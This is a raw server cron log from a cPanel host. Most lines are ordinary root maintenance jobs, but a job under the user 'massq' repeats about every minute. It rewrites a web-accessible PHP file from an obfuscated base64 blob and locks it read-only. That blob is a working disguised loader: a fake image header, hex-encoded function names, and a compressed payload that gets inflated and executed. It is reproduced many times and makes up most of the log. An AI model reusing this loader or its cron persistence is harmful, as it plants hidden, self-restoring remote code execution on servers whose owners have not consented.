Sep 11 16:08:01 server CROND[12276]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep 11 16:08:01 server CROND[12277]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep 11 16:09:01 server CROND[12672]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep 11 16:09:01 server CROND[12674]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep 11 16:09:01 server CROND[12673]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep 11 16:09:01 server CROND[12675]: (root) CMD (/usr/local/cpanel/scripts/clean_user_php_sessions > /dev/null 2>&1)
Sep 11 16:10:01 server CROND[13057]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep 11 16:10:01 server CROND[13058]: (root) CMD (/usr/local/cpanel/scripts/backup_jobs_helper >> /var/log/comet_backup_jobs_helper.log 2>&1)
Sep 11 16:10:01 server CROND[13063]: (root) CMD (/usr/local/cpanel/scripts/dcpumon-wrapper >/dev/null 2>&1)
Sep 11 16:10:01 server CROND[13062]: (root) CMD (   bash -c 'sleep $((RANDOM % 60))' ; /opt/imunify360/venv/share/imunify360/scripts/check-detached.py > /dev/null 2>&1 || :)
Sep 11 16:10:01 server CROND[13065]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep 11 16:10:01 server CROND[13066]: (root) CMD (/usr/local/maldetect/maldet --mkpubpaths >> /dev/null 2>&1)
Sep 11 16:10:01 server CROND[13064]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep 11 16:10:01 server CROND[13061]: (root) CMD (/usr/lib64/sa/sa1 1 1)
Sep 11 16:11:01 server CROND[14017]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep 11 16:11:01 server CROND[14018]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep 11 16:11:01 server CROND[14019]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep 11 16:12:01 server CROND[14388]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep 11 16:12:01 server CROND[14389]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep 11 16:12:01 server CROND[14390]: (root) CMD (/usr/local/cpanel/whostmgr/bin/dnsqueue > /dev/null 2>&1)
Sep 11 16:12:01 server CROND[14391]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep 11 16:13:01 server CROND[14753]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep 11 16:13:01 server CROND[14754]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep 11 16:13:01 server CROND[14755]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep 11 16:14:01 server CROND[15115]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep 11 16:14:01 server CROND[15116]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep 11 16:14:01 server CROND[15117]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep 11 16:15:02 server CROND[15492]: (root) CMD (/usr/local/maldetect/maldet --mkpubpaths >> /dev/null 2>&1)
Sep 11 16:15:02 server CROND[15494]: (root) CMD (/usr/local/cpanel/scripts/backup_jobs_helper >> /var/log/comet_backup_jobs_helper.log 2>&1)
Sep 11 16:15:02 server CROND[15495]: (root) CMD (/usr/local/cpanel/scripts/dcpumon-wrapper >/dev/null 2>&1)
Sep 11 16:15:02 server CROND[15514]: (root) CMD (/usr/local/cpanel/scripts/upcp --security)
Sep 11 16:15:02 server CROND[15512]: (root) CMD (   bash -c 'sleep $((RANDOM % 60))' ; /opt/imunify360/venv/share/imunify360/scripts/check-detached.py > /dev/null 2>&1 || :)
Sep 11 16:15:02 server CROND[15515]: (root) CMD (/usr/local/cpanel/bin/dbindex >/dev/null 2>&1)
Sep 11 16:15:02 server CROND[15506]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep 11 16:15:02 server CROND[15513]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep 11 16:15:02 server CROND[15511]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep 11 16:16:01 server CROND[16355]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep 11 16:16:01 server CROND[16356]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep 11 16:16:01 server CROND[16357]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep 11 16:17:01 server CROND[16729]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep 11 16:17:01 server CROND[16730]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep 11 16:17:01 server CROND[16731]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep 11 16:18:01 server CROND[17193]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep 11 16:18:01 server CROND[17196]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep 11 16:18:01 server CROND[17195]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep 11 16:19:01 server CROND[17568]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep 11 16:19:01 server CROND[17567]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep 11 16:19:01 server CROND[17569]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep 11 16:20:01 server CROND[18012]: (root) CMD (/usr/local/maldetect/maldet --mkpubpaths >> /dev/null 2>&1)
Sep 11 16:20:01 server CROND[18014]: (root) CMD (/usr/lib64/sa/sa1 1 1)
Sep 11 16:20:01 server CROND[18015]: (root) CMD (/usr/local/cpanel/scripts/backup_jobs_helper >> /var/log/comet_backup_jobs_helper.log 2>&1)
